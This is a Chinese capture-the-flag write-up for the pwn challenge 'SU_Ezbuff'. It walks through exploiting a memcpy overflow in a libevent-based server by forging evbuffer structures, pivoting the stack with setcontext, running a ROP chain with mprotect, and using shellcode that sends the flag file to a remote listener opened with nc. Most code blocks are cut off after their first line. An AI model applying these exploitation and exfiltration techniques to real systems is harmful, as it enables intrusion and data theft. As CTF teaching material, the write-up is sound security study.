SU_Ezbuff
题目分析
本题的附件包含pwn,libc.so.6和libevent-2.1.so.7.0.1
其中libevent-2.1.so.7.0.1包含了bufferevent相关的库函数
从pwn中可以看到main函数就是个请求分配器, 且开启了沙箱禁止命令执行
1 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) |
在8888端口为tcp连接, 8889为udp连接
tcp的处理函数和udp的处理函数如下
1 | unsigned __int64 __fastcall tcp_ptr(__int64 a1, __int64 dest) |
可以发现都是接收了字节流后将其传入handle中 :
1 | unsigned __int64 __fastcall handle(__int64 dest, _BYTE *src, int lenth, const struct sockaddr *addr) |
我们一眼就可以看到一个很明显的漏洞 : memcpy完全没有检查字节串长度; 长度由recv函数接收到的字节数决定
所以这里存在缓冲区溢出, 这里的dest通过交叉引用可以找到是两个bss上的变量
1 | tcp->0x4078 |
我们大致就可以写出一下的py交互函数
1 | HOST = "127.0.0.1" |
调试
地址泄露
我们可以先随便打一发tcp和udp看看效果
1 | io, pkt = tcp_query(build_payload("1.1.1.1")) |
1 | [+] Opening connection to 127.0.0.1 on port 8888: Done |
可以看到得到的字节流中出现了很多比较敏感的数据
大致可以发现包含libc地址\x1a\x8b\xf7\xf7\xff\x7f ; pie偏移\x19VUUUU
我们可以接收这两个地址, 计算出pwn 的基地址, libc.so.6的基地址和libevent-2.1.so.7.0.1
我们通过gdb调试, 使用search -p <ptr>可以找到这几个地址是从哪里得到的
1 | pwndbg> search -p 0x7ffff7f78b1a |
fake_obj构造
pwn分析
现在观察handle函数的结构, 可以发现udp连接只会调用sendto, 排除法就可以知道内存破坏相关位于tcp处理中
也就是进入这个条件判断if ( *(_DWORD *)(dest + 0x20) == 1 && *(_QWORD *)(dest + 0x28) )
此时我们还要用IDA同时分析libevent-2.1.so.7.0.1, 可以发现payload要满足以下结构
- 头部包含一个IPV4类型的地址
- 0x20偏移处解引用后为1
- 0x28偏移处解引用后不为0
最终bufferevent_get_output会返回偏移为0x28处指针的解引用后+0x118内对于的值
然后传入evbuffer_add_reference中
据此我们可以构造出前半段payload的结构
1 | payload=p64(pie+0x4040+0x80)+p64(1)*3+p64(pie+0x4040+0x80-0x118)+p64(0)*3+p64(pie+0x40c8)+payload |
此时被传入evbuffer_add_reference的一参就是结尾的payload
libevent-2.1.so.7.0.1.so分析
1 | // local variable allocation has failed, the output may be wrong! |
几乎可以确定漏洞就在evbuffer_add_reference中, 我们仔细梳理这个函数的逻辑, 恢复结构体后可以发现
- 存在三种结构体, 包括了链表结构
- 存在函数指针, 且可以被我们控制
恢复出的结构体如下
1 | 00000000 struct fake_deferred_cb // sizeof=0x28 |
其中我们输入的结构体为fake_evbuffer类型, 其余的结构体通过.so借助我们输入的内容进行生成
函数指针的调用链路为
1 | evbuffer_add_reference -> evbuffer_invoke_callbacks_ -> sub_EF40 -> cb_func |
我们还需要绕过几个函数的检查, 确保不会被exit
sub_EE50绕过
1 | __int64 __fastcall sub_EE50(fake_evbuffer *ptr_1, __int64 last, __int64 a3) |
我们遵循最短路径原则, 尽量不调用更多函数, 就要走入else分支
这需要满足条件
- ptr == ptr_1
- ptr->first==null
由于伪造结构体的前几个字段
1 | obj = flat({ |
锁绕过
1 | void __fastcall evbuffer_invoke_callbacks_(fake_evbuffer *output, __int64 a2, __int64 a3, __int64 a4) |
如果不想进入上方复杂函数处理, 我们需要让flag字段不满足if条件
进入sub_EF40后, 因为a2恒为0,所以n3恒为1
1 | unsigned __int64 __fastcall sub_EF40(fake_evbuffer *output, _BOOL4 a2) |
可以看到如果(n3 & flags) != n3_1, 也就是我们的flags字段的最低位必须为1, 否则会退出函数
最后总结出obj需基于以下生成
1 | fake_output=pie+0x40c8 |
此时我们经过调试可以确认, 我们拥有一次任意跳转的机会, 跳转到target上
栈迁移
1 | Breakpoint 1, 0x00007ffff7f73ff2 in ?? () from ./libevent-2.1.so.7.0.1 |
通过栈帧图 , 可以分析到, 很难通过单个的gadget进行栈迁移
因为这里的寄存器中大多存储着obj的起始地址, 而前几个字段是不能动的(会被evbuffer_add_reference填上堆地址) , 包括rdi
由于libc版本为2.35, 可以联想到setcontext, 我们逆向以下libc.so.6可以发现
1 | .text:00000000000539E0 setcontext proc near ; CODE XREF: sub_5A0C0+80↓p |
这里是通过rdi设置寄存器(包括rsp)的, 且偏移较大, 几乎在obj的末尾或者obj的高地址处
于是我们就可以开始构造
1 | .text:0000000000053A14 fldenv byte ptr [rcx] |
绕过这两个汇编片段需要rcx为一个可读可写的地址, 且里面的值最好为0
最终可以将rsp迁到bss上, 但唯一美中不足的是存在一个push rcx;...ret的过程, 而rcx对应的位置恰好和flags字段重合
而flags字段必须满足末尾为1
解决方法就是找到一个末尾为1的ret地址写入flags字段 , 我选择的是
1 | .text:00000000000013A3 retn |
此时我们就可以在obj的高地址处布置ROP链, 不想计算精确的偏移可以垫几个ret划过去
ROP2shellcode
ROP的构造很轻松, 找到控制寄存器的gadget后调用一次mprotect将bss段变为rwx
1 | rdi=base+0x000000000000d879 |
然后在rop末尾加上
1 | p64(Libc+0x2b78e) : call rsp |
接着在rop末尾写shellcode就可以了
因为这道题使用了socket连接, 我们必须使用内网穿透(本地我就不演示了)获得一个公网IP, 然后open+socket+connect+sendfile将flag发送过去, 具体的原理见 ezshellcode部分
这里给出板子和效果图
1 | sc = asm("jmp $+0x100") + b'\x00'*0xf0 + b'\x90'*0x10(这里的长跳跃是因为会和obj的一些字段搅在一起报错,最好跳出obj) |
1 | zer00ne@zer00ne-VMware-Virtual-Platform:~/desktop/SUCTF/work/evbuff$ nc -lnvp 4444 |
完整EXP
1 | from pwn import * |
1 | $ nc -lnvp 4444 |